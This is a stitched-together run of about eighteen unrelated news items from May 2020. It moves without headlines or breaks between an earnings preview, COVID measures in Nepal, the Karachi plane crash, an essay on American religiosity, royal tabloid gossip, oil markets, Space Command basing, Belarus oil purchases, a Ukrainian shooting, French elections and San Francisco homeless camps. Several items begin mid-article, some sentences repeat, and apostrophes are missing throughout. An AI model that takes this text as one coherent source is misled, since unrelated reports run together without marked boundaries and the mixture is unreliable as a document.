The Zacks Consensus Estimate for second-quarter 2020 is pegged at a loss of 80 cents per share, compared with earnings of $1.83 reported in the year-ago quarter. Notably, the loss estimate has widened significantly in the past 30 days. The consensus mark for revenues is pegged at $872.3 million, which indicates an increase of 3.2% from the prior-year quarters reported figure.

Sanderson Farms, Inc. Price, Consensus and EPS Surprise





Sanderson Farms, Inc. Price, Consensus and EPS Surprise

Sanderson Farms, Inc. price-consensus-eps-surprise-chart | Sanderson Farms, Inc. Quote

Factors to Consider



Sanderson Farms has been seeing rising labor costs for the past few quarters now. Notably, during first-quarter fiscal 2020, the companys labor costs rose $31.7 million or $1.67 per pound. Moreover, increased costs of the companys primary feed ingredients like soybean meal and corn is a concern. Apart from these, Sanderson Farms announced on Mar 31 that it implemented a temporary weekly attendance bonus for its employees for each hour worked amid the coronavirus outbreak. We believe that such rise in employee-related costs is likely to have put pressure on the companys bottom line in fiscal second quarter.



Nevertheless, Sanderson Farms has been benefiting from elevated average sales price for its poultry products including jumbo wings and leg quarter among others. Moreover, poultry products in the retail grocery stores are enjoying favorable demand. Also, with regard to the export market, the company has been optimistic about demand and prices for its poultry products courtesy of worldwide protein deficit stemming from the African swine fevers impact on Asian pork supplies.



What the Zacks Model Unveils



Our proven model doesnt predict an earnings beat for Sanderson Farms this time around. The combination of a positive Earnings ESP and a Zacks Rank #1 (Strong Buy), 2 (Buy) or 3 (Hold) increases the odds of an earnings beat. You can uncover the best stocks to buy or sell before theyre reported with our Earnings ESP Filter.



Sanderson Farms carries a Zacks Rank #3 and an Earnings ESP of -100.00%. You can see the complete list of todays Zacks #1 Rank stocks here.



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Kathmandu, May 22 : The Nepali government has decided to seal off all the entry points to capital Kathmandu, in an effort to stop the spread of COVID-19 in the densely-populated city, officials at the Ministry of Home Affairs said.

The number of COVID-19 cases is on the rise in Nepal, with a dozen of COVID-19 cases reported in the capital city taking the nationwide tally to 457, according to Ministry of Health and Population.

The country has so far reported three COVID-19 deaths.

"A meeting chaired by Home Minister Ram Bahadur Thapa and represented by Chief District Officers and elected representatives of the local government in the Kathmandu Valley on May 14 had decided to stop entry of vehicles all the entry points without vehicle pass issued by concerned government authorities," Kedarnath Sharma, spokesperson at the Ministry of Home Affairs, told Xinhua news agency on Thursday.

"Based on the decision, letters have been sent to local administrations and local governments." There are six major entry points to Kathmandu Valley.

Sharma said the Nepali government decided to tighten entry and exit of vehicles even with authorized passes, as people who are not in an emergency situation have started to misuse such passes.

Nepal's Traffic Police also said that except the emergency vehicles and vehicles carrying essential goods, no other vehicle without a pass has been allowed to enter Kathmandu Valley.

"We have returned those who have tried to enter Kathmandu without the pass," Superintendent of Police Jeevan Kumar Shrestha, spokesperson of Nepal's Traffic Police.
(Newser)  A passenger plane with 107 people on board crashed in a crowded neighborhood on the edge of the international airport near Pakistan's southern port city of Karachi on Friday after what appeared to be an engine failure during landing. Mayor Wasim Akhtar said at least five or six houses were destroyed in the crash of the domestic flight operated by Pakistan International Airlines. He said all those on board died, but two civil aviation officials later said that at least two people survived the crash, per the AP. Local TV stations reported that three people sitting in the front row of the aircraft survived and aired footage of a man on a stretcher they identified as Zafar Masood, the head of the Bank of Punjab. No word yet on the number of casualties on the ground.

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A transmission of the pilot's final exchange with air traffic control indicated he had failed to land and was circling around to make another attempt when the plane went down. "We are proceeding direct, sirwe have lost engine," a pilot said. Videos shared online showed "black smoke billowing up between tightly packed buildings," per CBS News, which notes Pakistan had only resumed commercial flights days earlier. A resident of the area said he saw the aircraft circle at least three times, appearing to try to land at the airport before it crashed into several houses. The crash follows a 2016 crash involving another Pakistan International Airlines jet that killed more than 40 people. (Read more plane crash stories.)
Since its founding, the United States has been the most religious modern nation on earth. Religiosity helped hone the American character, patterns of mutual aid, and national productivity. Today, however, belief is in decline, and many of those social benefits may disappear in tandem. In one generation, the portion of Americans affirming a religious affiliation has fallen from 95 percent to 76 percent. Just one out of three adults now attends religious services weekly. Young Americans, especially, are falling away: nearly four out of ten 18- to 29-year-olds say that they have no religious affiliation.

Even the nonreligious should worry about this shift, because society benefits from religiously inspired humanitarian behavior. Those with a religious affiliation give several times as much money to charity as other Americans. The ratio of Americans doing volunteer work in a typical week is 45 percent among weekly churchgoers and 27 percent among non-churchgoers. Decades of research have shown that a greater proportion of religious people get involved in community groups. They have stronger links with their neighbors and are more engaged with their families. They adopt troubled kids at three times the rate of other Americans, and they provide a disproportionate share of the assistance given to ex-convicts, refugees, the homeless, and others.

Of all the associational activity that takes place in the U.S., almost half is church-related, according to Harvard sociologist Robert Putnam. Secularism, by contrast, makes people very fragmented, theologian Timothy Keller recently told Philanthropy magazine. They might talk about community, but they arent sacrificing their own personal goals for community, as religion requires you to do.

Religious participation also has salutary effects on personal behavior. One classic study found that black males living in inner-city poverty tracts were far less likely to engage in crime and drug use if they attended church and likelier to succeed in school and the workforce. The religious are less poor and less suicidal; they have stronger families.

Serious tears in the social fabric can thus be expected if American religiosity continues to decline. What can be done about it? While government involvement would be inappropriate, philanthropic private actors could bolster religion in beneficial ways.

Concerned citizens should take some cues from the charter school movement. Backers of charters, for example, have funded vital leadership trainingfellowships, Teach for America grants, new education schools, intensive professional development, and so on. The result: the development of a passionate, innovative, and interconnected group of school founders, principals, and teachers. Charter backers have also stepped up with funding to help these new leaders acquire a crucial piece missing from many charter school plans: adequate buildings.

Perhaps similar support, geared toward leadership development, could be provided to reinforce pro-social religious behavior. We need more people to go into the ministry and start churches, says Keller. His charity, Redeemer City to City, is setting up 100 new churches in New York City. As part of that effort, the organization helped create a branch of the Reformed Theological Seminary in New York to prepare pastors and lay leaders in modern ways.

Ministry in a complex society takes graduate training, yet, unlike law and medicine and business, the prospects of higher salaries to pay off student debt are not there, Keller notes. So candidates who would love to enroll cant bear the expense. And the seminaries dont have wealthy alumni to turn to for support, like other graduate schools.

This obstacle can be overcome with investments to beef up the best seminaries, plus fresh approaches like night classes and video instruction that can reach unconventional ministry candidatessuch as those with job and family responsibilities. Shifts in content should also be encouraged. As religious devotion becomes almost a countercultural act, the churches faring best are theologically bolder. Yet many seminaries remain sleepy bastions of the declining mainline religions. Just as school reformers found it impossible to develop leaders through traditional teacher colleges, the shepherds needed for todays secular age wont be found through old-line seminary instruction. Resources should be redirected to the more effective seminaries (or startups) that mix devout theology with practical innovations.

And just as with charters, American civil-society leaders could boost religious behavior by making investments in facilities. Many of the grand, visually inspiring cathedrals and synagogues in the cores of U.S. cities are now occupied by vestigial congregations. Without their inherited endowments, many of these houses of worship couldnt keep the lights on and the roof from leakingand some struggle to do that, even with their trust funds. Meantime, those same cities have booming evangelical populationsconclaves of traditional Catholics, large Korean congregations, Spanish-language flocks, swelling numbers of Lubavitch Jews, and other rising faith communities that lack the inherited resources of the old denominations. They often meet in high school auditoriums, theaters, or strip malls, or worship at night or on Saturdays in spaces hired from established churches. These churchless congregations are often larger and more active than the congregations they rent from.

How to help them? Donors could create revolving capital funds that distribute building loans and grants, as philanthropists have done to help charter schools take root. City congregations burdened with properties now too large for their shrinking membership have no graceful way to transition out; embattled parishes are increasingly selling their churches to be remade into condos, restaurants, theaterseven bars. Such conversions tripled nationwide between 2010 and 2015. In other cases, slow decay leads to demolitionand once a church is lost, the neighborhood almost never regains a similar space for the many public gatherings (apart from worship) that these sanctuaries host.

Scholars have documented how the decline of urban churches hurts city life: neighborhood cohesiveness declines, services ranging from day care to AA meetings to Boy Scout troops disappear, family breakdown and private behavioral problems spike, beautiful historic buildings vanish, and so on. Private efforts offering purchase or renovation funds to enable a reallocation of churches from waning religious communities to growing ones would be a boost to social well-being in cities.

Philanthropic Americans can help institutions of faith grow, improve, and better serve their neighbors. In doing so, they could reverse recent declines in religious participationand head off the nosedives in cultural health that seem sure to follow.

Photo: Rawpixel/iStock
Jaipur, May 22 : Rajasthan Deputy Chief Minister Sachin Pilot on Friday launched a scathing attack on the central government accusing it of having failed to chalk out a decent policy to relieve migrants' distress during the COVID-19 pandemic.

"The central government could not chalk a clear policy to help migrants during COVID-19 crisis. There are thousands of these migrants walking hungry on roads and in such situations, Congress General Secretary Priyanka Gandhi showed sensitivity towards them by arranging around 1,000 buses, however, the Uttar Pradesh government created hurdles in the smooth plying of these buses. Our buses were not allowed to enter in the state," the Congress leader said.

Initially, the Uttar Pradesh government asked to send buses to Lucknow, then asked to send buses to border and then they raised the issue of fitness, Pilot further added.

Rajasthan Transport Minister Pratap Singh Khachriyawas also attacked the Yogi government and said that Adityanath had tweeted that he would permit bus entries if Priyanka Gandhi sends buses. "However, later 1,032 buses were stopped at the border".

Khachriyawas maintained that the buses sent were not Rajasthan State Transport buses, the Congress workers had hired these buses from different districts of the state including Karauli, Alwar and other districts.

Accusing the Yogi government of playing politics on migrants' buses, he said that Rajasthan government is committed towards sending the migrants free of cost to their native places. "We are also trying to send our buses to Uttarakhand with migrants since last five days, however, the government there is not allowing buses to enter in the state as well," he alleged.

Pilot and Khachriyawas were addressing the media along with veteran Congress members Juber Khan and Dheeraj Gurjar.
A 9-year-old boy with autism, who was reported abducted from a Home Depot parking lot, was found dead Friday morning, hours after an intense search for him had been launched, authorities said.

Alejandro Ripley. (Miami-Dade Police Department)

"The Florida Amber Alert for Alejandro Ripley has been cancelled. We are very sad to report that the child was found deceased," the Florida Department of Law Enforcement announced in a statement on Friday morning.

The boy's mother, Patricia Ripley, 47, told police she and her son were followed and ambushed by two men in a vehicle who demanded drugs on Thursday night.

"The driver of the unknown vehicle attempted to side-swipe her vehicle," a police statement said. "The vehicle then blocked her in while a male passenger ambushed her, demanding drugs."

"After stating she didn't have any drugs, he then stole her cellular phone and abducted her son, fleeing southbound in the unknown vehicle," the statement said.

Urgent! Please share!

A Florida AMBER Alert has been issued for 9-year-old Alejandro Ripley last seen in Miami. The child was abducted by two males. If located, DO NOT APPROACH. If you have any information please contact the Miami-Dade Police Department at 305-476-5423 or 911. pic.twitter.com/wclDe96qgz  FDLE (@fdlepio) May 22, 2020

Shortly after midnight, authorities issued an Amber Alert and asked the public to keep an eye out for the boy  but not to approach the abductors.

A child's body was found Friday morning about four miles from where Alejandro was reported taken, said Miami-Dade police.

Related: Brother of Missing Idaho Children Speaks Out

This is a developing story, please refresh here for updates.
Queen Elizabeth II is reportedly angry at Prince Harry and Meghan Markle for not keeping a low profile as promised to Her Majesty before officially stepping down.

The Duke and Duchess of Sussex are actually doing the opposite - they're making waves in Hollywood.

According to Star Magazine, the Queen isn't happy at the couple. She is allegedly "furious" at the Duke for not only keeping his word but for revealing intimate details about the British royal family.

The Duke and Duchess of Sussex planned to live a financially independent life while away from the spotlight. But it totally turned a different route, as they have been making a huge noise in Los Angeles.

Her Majesty is also reportedly disappointed at Prince Harry and Meghan Markle, especially with the release of their upcoming tell-all book, "Finding Freedom," to "set the record straight."

Queen Elizabeth is less than impressed, with the source claiming, "They say the book's about their lives, and the whole point of it is to quash the rumors and lies about them."

The couple's biography, which is due for release in August, is their way of retaking control of the entire narrative that paints them as the villains.

A royal source told The Daily Mail, "Meghan said the book would finally set the record straight and show the world why they were left with no other choice than to leave."

According to the source, the former "Suits" actress is hoping that the book will give the public a better sense of who she really is, outside of the rumors spread in the press.

The Daily Mail's source further said, "She desperately wants to shatter this image of being a demanding diva who was rude to royal staffers and others on her quest for fame and power."

Ever since announcing in January that they will be stepping down as senior members of the royal family, Meghan and Prince Harry have been plagued with controversies.

The Duke and Duchess of Sussex have already broken royal traditions and protocols in the last two years, so it's no surprise they continue to do so.

Here are some of them.

Meghan Markle and Prince Harry's public display of affection.

Royal photographer Tim Rooke, who has taken pictures of the royals for more than 25 years, said that people don't usually see them holding hands with Prince William and Kate. Whereas with the Sussexes, they are said to be more affectionate, whether in front of the cameras or not.

Prince Harry and Meghan Markle are more open than other royals.

Royal families usually don't open up about their relationships until they're engaged or married, but in a Vanity Fair interview, the former actress expressed her love for her royal boyfriend.

Prince Harry has also stated Kensington Palace about the media harassing his then-girlfriend.

Meghan Markle's lavish baby shower.

According to Vanity Fair, Meghan Markle's baby shower in Manhattan cost around $200,000. As far as anyone knows, Kate Middleton didn't have a baby shower.

Us Weekly also reported that Meghan didn't follow the royal tradition, and Her Majesty's former spokesperson said that baby showers were an "American thing" and that Meghan's was "over the top."

Breaking up with Queen Elizabeth II over email.

After Christmas, Page Six reported that the Duke and Duchess of Sussex emailed Queen Elizabeth II and Prince Charles their decision to leave the royal family.

READ MORE: Meghan Markle Jealousy: Diary Details Queen's Favoritism Over Kate Middleton
Uni-President China Holdings Ltd (HKG:220) is about to trade ex-dividend in the next 4 days. You can purchase shares before the 26th of May in order to receive the dividend, which the company will pay on the 18th of June.

Uni-President China Holdings's next dividend payment will be HK$0.32 per share, on the back of last year when the company paid a total of HK$0.32 to shareholders. Calculating the last year's worth of payments shows that Uni-President China Holdings has a trailing yield of 4.1% on the current share price of HK$8.48. If you buy this business for its dividend, you should have an idea of whether Uni-President China Holdings's dividend is reliable and sustainable. That's why we should always check whether the dividend payments appear sustainable, and if the company is growing.

View our latest analysis for Uni-President China Holdings

If a company pays out more in dividends than it earned, then the dividend might become unsustainable - hardly an ideal situation. Uni-President China Holdings paid out 100% of its earnings, which is more than we're comfortable with, unless there are mitigating circumstances. Yet cash flows are even more important than profits for assessing a dividend, so we need to see if the company generated enough cash to pay its distribution. Fortunately, it paid out only 44% of its free cash flow in the past year.

It's good to see that while Uni-President China Holdings's dividends were not well covered by profits, at least they are affordable from a cash perspective. Still, if this were to happen repeatedly, we'd be concerned about whether the dividend is sustainable in a downturn.

Click here to see the company's payout ratio, plus analyst estimates of its future dividends.

SEHK:220 Historical Dividend Yield May 21st 2020

Have Earnings And Dividends Been Growing?

Stocks in companies that generate sustainable earnings growth often make the best dividend prospects, as it is easier to lift the dividend when earnings are rising. If earnings fall far enough, the company could be forced to cut its dividend. It's encouraging to see Uni-President China Holdings has grown its earnings rapidly, up 35% a year for the past five years.

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Many investors will assess a company's dividend performance by evaluating how much the dividend payments have changed over time. Uni-President China Holdings has delivered an average of 12% per year annual increase in its dividend, based on the past ten years of dividend payments. It's great to see earnings per share growing rapidly over several years, and dividends per share growing right along with it.

Final Takeaway

Has Uni-President China Holdings got what it takes to maintain its dividend payments? Earnings per share have been rising nicely although, even though its cashflow payout ratio is low, we question why Uni-President China Holdings is paying out so much of its profit. In summary, it's hard to get excited about Uni-President China Holdings from a dividend perspective.

While it's tempting to invest in Uni-President China Holdings for the dividends alone, you should always be mindful of the risks involved. To help with this, we've discovered 1 warning sign for Uni-President China Holdings that you should be aware of before investing in their shares.

If you're in the market for dividend stocks, we recommend checking our list of top dividend stocks with a greater than 2% yield and an upcoming dividend.

Love or hate this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com.



This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Thank you for reading.
Source: Xinhua| 2020-05-22 10:05:16|Editor: mingmei

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BEIJING, May 22 (Xinhua) -- China stands ready to work with other countries to strengthen international cooperation on epidemic control, said a government work report submitted Friday to the national legislature for deliberation.

In the face of global challenges including public health crisis and severe economic recession, all countries should work together, said the report. Enditem
Oil retreated from the highest level in more than two months as doubts over the strength of Chinas economic recovery and rising tensions between Washington and Beijing ate away at its weekly advance.

Futures in New York fell around 6% below $32 a barrel on Friday, but are still headed for a fourth consecutive weekly gain. Beijing said it wouldnt set a gross domestic product target this year due to great uncertainty over the coronavirus, although it did announce some new stimulus spending. Oil product demand in Asias largest economy will drop by 5% this year, according to a forecast by Chinas National Petroleum Corp.s research arm.

However, the backdrop for oil still looks promising as the market rebalances. U.S. drillers are in the process of curtailing 1.75 million barrels a day of existing production by early June, IHS Markit said. Thats on top of OPEC+s agreement to curb almost 10 million barrels a day of output, which is being strictly adhered to after taking effect at the beginning of May.

The cuts are eroding the stockpiles built up amid coronavirus lockdowns and the price war, with inventories at the U.S. storage hub at Cushing, Oklahoma, shrinking by the most on record last week. Nothwithstanding the doubts over Chinas economic recovery and its deteriorating relationship with the U.S., oil demand in the Asian powerhouse is almost back to pre-virus levels.

Crudes rapid rebound has taken many in the market by surprise, especially given the path back to a full economic recovery looks to be long and uncertain and the risk of a second wave of the virus cant be discounted. Its also raised the possibility that U.S. shale producers will start to turn on the taps again and that the strict compliance with the OPEC+ agreement might break down.

The nascent demand recovery is still vulnerable, and the drop in prices today is an injection of reality, said Victor Shum, vice president of energy consulting at IHS Markit in Singapore. China not giving a GDP target means they are not quite certain about the recovery yet.

West Texas Intermediate crude for July delivery dropped 6.3% to $31.79 a barrel on the New York Mercantile Exchange as of 1:40 p.m. in Singapore. It rose 1.3% Thursday in a sixth straight gain. Brent for July settlement fell 5% to $34.27 on the ICE Futures Europe exchange and is up around 5% on-week.

Chinas oil demand earlier this month was probably at 92% of levels at the same time last year, IHS Markit said in a report. Full-year consumption is likely to be around 8% lower than in 2019, the energy consultant said.

The oil industry will enter a structural phase of no production growth outside of OPEC starting next year, Goldman Sachs Group Inc. said in a note based on an analysis of upstream projects. OPEC may be required to supply as much as an additional 7 million barrels a day through to 2025 from pre-virus levels, while U.S. shale will emerge from the current slump as a lower growth and more cash generative industry, the bank said.
The head of U.S. Space Command says there is value in going back to the drawing board to look for a new base to host the Defense Department's newest combatant command.

"If you look at the analysis that's been [revisited] now, I think it's prudent to look at it more holistically with a U.S. Space Force and U.S. Space Command," said Gen. John "Jay" Raymond, who is also chief of space operations for the Space Force.

Read Next: Naval Air Station Corpus Christi Shooting 'Terrorism-Related,' FBI Says

"The Air Force is running the basing process. When that work was initially done [to look for a U.S. Space Command headquarters], there wasn't a U.S. Space Force," he said during a Defense Writers Group chat Wednesday.

SPACECOM, the 11th unified combatant command, stood up in August ahead of the establishment of the Space Force in December. SPACECOM is responsible for military operations related to space, while the Space Force, the newest military branch, organizes and trains space personnel. Like the other military branches, the Space Force has its headquarters at the Pentagon.

In May 2019, the Air Force announced it was weighing four Colorado locations, including Buckley Air Force Base, Cheyenne Mountain Air Force Station, Peterson Air Force Base and Schriever Air Force Base, to accommodate SPACECOM. Other options are the Army's Redstone Arsenal in Alabama and Vandenberg Air Force Base in California. A decision was originally due this summer.

Defense Secretary Mark Esper disclosed in March that some lawmakers whose states want to host SPACECOM felt the department's process hasn't been transparent enough.

And Air Force Secretary Barbara Barrett said staff and personnel movements between SPACECOM and the Space Force require another look at basing.

Last week, the Pentagon said it would begin the base search again, this time allowing states to "nominate themselves as potential candidate locations by following the process outlined in a letter from the Department of the Air Force to the nation's governors, which includes a nomination form and screening and evaluation criteria," according to a statement.

"The evaluation criteria the Air Force has laid out is designed to reduce costs by incentivising the reuse of existing infrastructure, and I think it is a transparent process," Raymond said Wednesday. "It will give states that meet certain criteria the ability to compete, and I think there's value in that.  I'm supportive of the plan going forward."

So far, no bases stand out above the rest, according to Air Force spokeswoman Ann Stefanek.

"There is no list," she told Military.com on Saturday, referring to an updated list of base contenders. "Communities that meet the criteria may nominate themselves to their governors for endorsement."

Colorado Springs, Colorado, will remain "the location for the provisional headquarters for U.S. Space Command headquarters until a permanent headquarters location is selected and facilities are ready in approximately six years," according to the Air Force.

"We anticipate selecting a preferred U.S. Space Command location early next calendar year," the announcement states.

Peterson and Schriever Air Force Bases and Cheyenne Mountain Air Force Station are located in Colorado Springs.

Congressional leaders had mixed responses Friday to the Pentagon's latest move to extend its search.

While some were supportive -- vying for their own states to apply for the process -- others said the extended search may be a waste of taxpayer dollars to evaluate dozens of bases, which typically involves environmental assessments and other inspections.

For example, Rep. Jim Cooper, a Tennessee Democrat, denounced the department's announcement as a farce, and a waste of time and resources.

"This is worse than a boondoggle. It's a moondoggle," he said in a statement. "This is more Trump administration grandstanding on the Space Force ... just in time for release of the new Steve Carell sitcom. The Pentagon is creating its own parody."

-- Oriana Pawlyk can be reached at oriana.pawlyk@military.com. Follow her on Twitter at @Oriana0214.

Related: US Military's Mystery Space Plane Rockets Back into Orbit
When Belarus ordered its first shipment of U.S. oil earlier this month, it was more than just an energy deal. It was a message to Moscow: One of Russia's most reliable allies was testing its ties with the West.

Belarusan President Alexander Lukashenko, who has ruled the country with a tight grip since 1994, "is trying to show the Russians he can survive without their support," said Artyom Shraibman of Sense Analytics, a Minsk-based political consultancy.

Lukashenko has long balanced keeping Russia close but not too close. He rarely throws up any roadblocks to Russian policies. But Lukashenko also has resisted the Kremlin's push for the two countries to form a unified state - something they agreed to in 1999.

Oil is often part of the political mix. Belarus has enjoyed a sweetheart deal with Russia, and keeping rates discounted was one of Moscow's selling points to finally make the unity pact official.

So when they failed in December to agree on a new price for oil Moscow sells to Minsk, Russia temporarily cut the supply. Lukashenko then vowed to diversify Belarus's oil suppliers. He delivered by purchasing shipments from Azerbaijan, Norway and Saudi Arabia all in the past five months, capitalizing on a coronavirus-induced shock to oil prices.

The U.S. deal is for one shipment. But few other oil agreements are so geopolitically significant that they prompt a statement from Secretary of State Mike Pompeo, who said it "strengthens Belarusian sovereignty and independence."

Pompeo visited Minsk in early February, when he first offered to sell American oil "at a competitive price." It marked the first trip to Belarus by the top U.S. diplomat since Lukashenko took power. Then in April, the two countries formally reestablished diplomatic relations when Julie Fisher, a top State Department official for Europe, was named ambassador to Belarus - a position that had been vacant for more than a decade.

The first order for 80,000 tons of U.S. oil is likely a test of logistics. The tanker carrying it is expected to arrive in a Lithuanian port in early June, with Poland also acting as an intermediary.

If things go smoothly, more purchases may be on the horizon. Transporting oil through its Baltic neighbors could lead to Belarus improving relations with them in the long-term, analysts said.

But in the short-term, perceived rifts with Russia could have domestic complications for Lukashenko, who is seeking a sixth term in August. Belarus's economic fortunes remain closely tied to Russia, and Lukashenko could stir worries that he risking too much.

After the standoff over oil prices earlier this year, the two countries reached a compromise agreement, and Russian state oil company Rosneft said May 15 that it expected to ship about 9 million tons to Belarus this year - about half the amount Belarus bought in previous years.

Lukashenko is also facing criticism at home and abroad for his response to the coronavirus pandemic, which he has repeatedly downplayed. Lukashenko has ignored the World Health Organization's suggestion for physical distancing measures, keeping businesses open even as the country's confirmed cases have spiked to more than33,000.

A Russian state-run television channel aired a report this month from Belarus alleging that Belarusans mistrust their government's official coronavirus figures. The Channel One correspondent and cameraman involved in the piece were deported, and the broadcaster's entire film crew was stripped of accreditation. A Belarusan state broadcaster said it was because the Channel One segment contained "fake news" and "propaganda."

It's not the first instance of the coronavirus inflaming the quarrel between Minsk and Moscow. In March, Lukashenko colorfully lashed out at Russia's decision to close the border between the countries as a coronavirus precaution, referring to Russian decision-makers as "hot heads."

"What this particular move is doing to him politically is that he's bringing him and the country actually into quite a sort of dangerous area in relations with the Russians," said Yauheni Preiherman, director of the Minsk Dialogue Council on International Relations. "It's not like Belarus is turning away or anything, but all these moves by Lukashenko, they clearly make a lot of people in Russia angry."

"America is, as Lukashenko likes to reiterate, the greatest power on Earth. But the significance of Russia for Belarus in politics is much bigger," he added.

Lukashenko has long lacked viable opposition, but two declared candidates in this upcoming election could at least make it interesting, said Andrei Yegorov of the Minsk-based think tank the Center For European Transformation.

Yegorov noted that the candidates - Valer Tsapkala, a prominent businessman and former Belarusan ambassador to the United States, and Viktar Babaryka, a banker and philanthropist - could "get a lot of attention from unusual and previously not politically active" segments of Belarusan society.

Yegorov said pro-Russian sentiments have declined among Belarusans - in large part because of state-media propaganda - with many now hoping for more collaboration with the West.

A relatively modest oil deal with the United States shouldn't be overstated as a full turn in that direction, but it could be an early signal of a shifting economic mix for Belarus, Shraibman said.

"Imagine a situation where Belarus will be buying more oil from non-Russian sources and will be pumping this oil through Baltic states and Poland and will be receiving loans from the International Monetary Fund and non-Russian institutions," Shraibman, of Sense Analytics, added. "If you imagine this to continue, in five years' time, Belarus is now becoming sort of dependent on the West financially. It creates a completely different dynamic."
Kumbakonam (TN):

Government was keen on regional connectivity and as part of its plan, 10-15 airports would be activated by the next year, Civil Aviation Minister P Ashok Gajapathi Raju on Saturday said.

The work on regional connectivity is in progress. We have developed a scheme for regional connectivity. There are 31 or 32 unconnected airports and we are planning to activate some of them and 10 or 15 airports may be activated by next year, he told reporters here.

Raju, who arrived here enroute to nearby Marugur to visit the samadhi of a freedom fighter, said the country was recording the fastest growth in the civil aviation sector in the world.

On cargo operations, he said there was good potential but the problem was several rates of taxes on fuel in different states.

The major operational cost 45 per cent is fuel and tax problem is there. I have written addressing this to Chief Ministers of all the states, he said.

Highlighting various welfare schemes and initiatives of the NDA government, he said there was no corruption and scams in this regime.

He said the Goods and Services Tax (GST) would lower the manufacturing cost and help consumers.

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The National Guard expresses sincere condolences to the families of the victims.

Three members of the National Guard who were on weekend leave after returning from the Joint Forces Operation (JFO) zone in Donbas are among the victims of a mass shooting rampage in Zhytomyr region.

"Serviceman of the Rapid Response Brigade, senior sergeant Vulchyn V.S., as well as military personnel of military unit 3066, namely junior sergeant Mamychenko V.L. and senior soldier Moskalets A.V. were killed in that terrible tragedy. The servicemen were not on service. They were on weekend leave after returning from the JFO zone," according to the National Guard's press service.

Read alsoSheremet murder suspects: charges amended ahead of probe completion

The investigative team of the Main Directorate of the National Police in Zhytomyr region is working on the scene. All circumstances of the incident are being clarified.

Further details will be announced later.

The National Guard expresses sincere condolences to the families of the victims.

As UNIAN reported earlier, the victims of a shooting incident near a pond in the village of Novoselytsia in Zhytomyr region's Popilnia district in the early hours of May 22 included former participants in the Anti-Terrorist Operation (ATO) in Donbas and volunteers.

Criminal proceedings were launched under Part 2 of Article 115 of the Criminal Code of Ukraine.

According to preliminary reports, a local resident, born in 1962, who used the pond on lease, shot seven people from his hunting shotgun after a brawl with a group of visitors.

The suspect was detained and is in custody now. He is facing up to 15 years in prison or life imprisonment.
The St Vincent and the Grenadines Conservative Fund (SVGCF) distributed the first set of grants to three local conservation entities, during a virtual handover ceremony on May 18.





A total of EC$310, 996.78 was distributed as follows: EC$88,322.75 to Sustainable Grenadines Inc. for their project Building a zero waste ecosystem for enhanced biodiversity for birds and people at Belmont Salt Pond; EC$91,314.03 to Serenity Dive Inc. for a reef replanting and school dive programme, and EC$131,360 to the Tobago Cays Marine Park towards enhancing that organisations resource management capacity.





The Process





Chief Executive Officer of the SVGCF Vanbury Harry recalled that the first call for proposals was issued in December 2019.





The calls focused on the qualifying goals of protecting and enhancing ecosystems, and to educate, raise awareness and empower citizens of SVG to support conservation efforts, he explained.





Interested parties were required to submit concept notes. Successful applicants were then required to submit full proposals.





According to Harry, fifteen concept notes were received from a range of entities  NGOs, government agencies inclusive - from which six were recommended for advance to the full proposal stage.





Upon receipt of the full project proposals, a Meeting of the Board of the SVGCF held in March, reduced the lists of considerations to three.

A meeting in April approved all three finalists for funding.





A Milestone and Funding





That stage of agreeing on the disbursements of funds was, in the estimation of Board Chairman Michael John, a milestone.





It was, according to him, the result of a thorough and in depth process of examination by a number of professionals.





"I am pleased that we are at this stage; this is the stage that we all on the Board were working towards over the past years, John said.





And he especially commended the Caribbean Biodiversity Fund (CBF), saying that that was the organization that gave the SVGCF its footing some five years ago.





Andrew Wilson, Secretary/Treasurer of the SVGCF, used the occasion to register how critical donor funding is to organizations like the SVGCF.





He singled out as major benefactors to the SVGCF the German Government, the German Development Bank, the Nature Conservancy, who have all contributed to the endowment fund which has allowed for grant funding to be made available to local conservation entities.





Karen McDonald-Gayle, Conservation Finance Program Manager with the CBF, explained that the organization is a regional environmental fund designed with two main instruments: a sinking fund which works with climate change and ecosystem based adaptation projects, and the CBF Conservation Finance Programme whose main instrument is an endowment fund that now has accounts for 12 countries across the region.





It is with the assistance from these accounts that national conservation trust funds are birthed, she said.





And as for the occasion of the ward of grants, she remarked: "So for St Vincent and the Grenadines to now be awarding their first grants under the trust funds is an amazing achievement.
France will hold a second round of municipal elections on June 28 after they were called off in March because of a coronavirus lockdown, Prime Minister Edouard Philippe said Friday.

Philippe said the government's scientific advisory panel had estimated that sufficient safeguards could be taken to mitigate contagion risks for the nearly 5,000 cities and towns set to vote, after a clear winner did not emerge in the first round on March 15.

"After weighing the pros and cons, we believe that our democratic life must resume," he said at a press conference in Paris.

But he said the government would call off the vote again if health advisors warned that a new flare-up of COVID-19 cases made calling people to the polls too risky.

Interior Minister Christophe Castaner, also at the press conference, said the roughly 16 million voters in the second round, including residents of Paris, Lyon and other large cities, would have to wear masks.

The government drew heavy criticism after going ahead with the first round of voting just one day after ordering all bar, restaurants, cinemas and other non-essential businesses to close in the coronavirus fight.

The lockdown prompted many voters to stay home, with the abstention rate hitting a French record of 55 percent.

On March 16, the day after the first round vote, President Emmanuel Macron called off the second round of voting, originally set for March 22.

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Panasonic Vietnam (Photo: panasonicvietnam.vn)



A spokesperson of Panasonic Corporation told Reuters that the move will make about 800 workers in Thailand lose their jobs and affirmed that it was part of a plan to effectively improve production cost.



"Panasonic will try to move some workers into other jobs based on their qualifications," the spokesperson said.

The home appliance division and a development research center of Panasonic Corporation in Thailand will close by the end of March 2021.

After closing, Panasonic will still have about 13,700 workers involved in manufacturing small devices and batteries in Thailand./.
Photograph: Justin Sullivan/Getty Images

Jasmine Villereal needed a shower, and on the other side of this chain-link fence in the middle of San Francisco there were showers.

It should have been perfect: these showers were for homeless individuals living in tents. Villereal was a homeless individual living in a tent. But while her tent sat crammed on a narrow sidewalk alongside more than a dozen others three blocks north, considered a blight by officials and neighborhood residents, the tents surrounded by this chain-link fence were city-approved.

Related: 'A true emergency:' Covid-19 pushes homeless crisis in San Francisco's Tenderloin to the brink

The Safe Sleeping Village is one of San Franciscos new officially sanctioned homeless encampments, a rare initiative announced by Mayor London Breed in response to the coronavirus pandemic. Occupants of the 70 tents spaced out in socially distanced, painted squares in the shadow of City Hall have access to steady meals, electricity to charge their phones, toilets, fresh water, hand-washing stations, healthcare  and those much-desired showers.

